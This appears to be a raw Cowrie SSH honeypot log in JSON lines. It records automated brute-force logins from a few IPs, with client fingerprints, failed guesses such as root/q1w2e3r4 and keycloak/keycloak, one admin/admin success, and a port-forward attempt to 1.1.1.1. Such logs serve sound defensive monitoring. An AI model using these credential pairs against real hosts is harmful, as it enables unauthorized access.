{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:26.160355Z","src_ip":"45.153.34.114","session":"5f41bf2d9ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:26.235693Z","src_ip":"45.153.34.114","session":"5f41bf2d9ff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:26.571764Z","src_ip":"45.153.34.114","session":"5f41bf2d9ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:27.660246Z","src_ip":"45.153.34.114","session":"5f41bf2d9ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37726,"dst_ip":"159.203.135.109","dst_port":22,"session":"3741d194ab89","protocol":"ssh","message":"New connection: 45.153.34.114:37726 (159.203.135.109:22) [session: 3741d194ab89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:34.050387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:34.056764Z","src_ip":"45.153.34.114","session":"3741d194ab89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:34.136858Z","src_ip":"45.153.34.114","session":"3741d194ab89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:34.479526Z","src_ip":"45.153.34.114","session":"3741d194ab89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:35.565413Z","src_ip":"45.153.34.114","session":"3741d194ab89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54398,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd1b2810b1a8","protocol":"ssh","message":"New connection: 103.75.199.4:54398 (159.203.135.109:22) [session: fd1b2810b1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:38.151089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:38.158385Z","src_ip":"103.75.199.4","session":"fd1b2810b1a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:38.249094Z","src_ip":"103.75.199.4","session":"fd1b2810b1a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:38.521100Z","src_ip":"103.75.199.4","session":"fd1b2810b1a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:39.614351Z","src_ip":"103.75.199.4","session":"fd1b2810b1a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40218,"dst_ip":"159.203.135.109","dst_port":22,"session":"a68aec0bbffb","protocol":"ssh","message":"New connection: 45.153.34.114:40218 (159.203.135.109:22) [session: a68aec0bbffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:42.203209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:42.207855Z","src_ip":"45.153.34.114","session":"a68aec0bbffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:42.298932Z","src_ip":"45.153.34.114","session":"a68aec0bbffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:42.762956Z","src_ip":"45.153.34.114","session":"a68aec0bbffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:43.853867Z","src_ip":"45.153.34.114","session":"a68aec0bbffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51192,"dst_ip":"159.203.135.109","dst_port":22,"session":"cff18de75c93","protocol":"ssh","message":"New connection: 45.153.34.114:51192 (159.203.135.109:22) [session: cff18de75c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:50.394035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:50.402592Z","src_ip":"45.153.34.114","session":"cff18de75c93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:50.494998Z","src_ip":"45.153.34.114","session":"cff18de75c93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:50.965206Z","src_ip":"45.153.34.114","session":"cff18de75c93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:52.052798Z","src_ip":"45.153.34.114","session":"cff18de75c93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51206,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f384bdf00a6","protocol":"ssh","message":"New connection: 45.153.34.114:51206 (159.203.135.109:22) [session: 1f384bdf00a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:57.676506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:57.681316Z","src_ip":"45.153.34.114","session":"1f384bdf00a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:57.772257Z","src_ip":"45.153.34.114","session":"1f384bdf00a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:58.241492Z","src_ip":"45.153.34.114","session":"1f384bdf00a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:59.335140Z","src_ip":"45.153.34.114","session":"1f384bdf00a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20340,"dst_ip":"10.17.0.5","dst_port":22,"session":"103252302e50","protocol":"ssh","message":"New connection: 87.251.64.176:20340 (10.17.0.5:22) [session: 103252302e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:59.640990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:59.646644Z","src_ip":"87.251.64.176","session":"103252302e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:59.742265Z","src_ip":"87.251.64.176","session":"103252302e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51278,"dst_ip":"159.203.135.109","dst_port":22,"session":"507e0c4f82cc","protocol":"ssh","message":"New connection: 103.75.199.4:51278 (159.203.135.109:22) [session: 507e0c4f82cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:59.986867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:59.991993Z","src_ip":"103.75.199.4","session":"507e0c4f82cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:00.032508Z","src_ip":"87.251.64.176","session":"103252302e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:00.084358Z","src_ip":"103.75.199.4","session":"507e0c4f82cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:00.133267Z","session":"103252302e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:00.232771Z","src_ip":"87.251.64.176","session":"103252302e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:00.335481Z","src_ip":"87.251.64.176","session":"103252302e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:00.368783Z","src_ip":"103.75.199.4","session":"507e0c4f82cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:01.471392Z","src_ip":"103.75.199.4","session":"507e0c4f82cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52368,"dst_ip":"159.203.135.109","dst_port":22,"session":"8388552b37be","protocol":"ssh","message":"New connection: 45.153.34.114:52368 (159.203.135.109:22) [session: 8388552b37be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:05.814475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:05.827894Z","src_ip":"45.153.34.114","session":"8388552b37be","protocol":"ssh"}
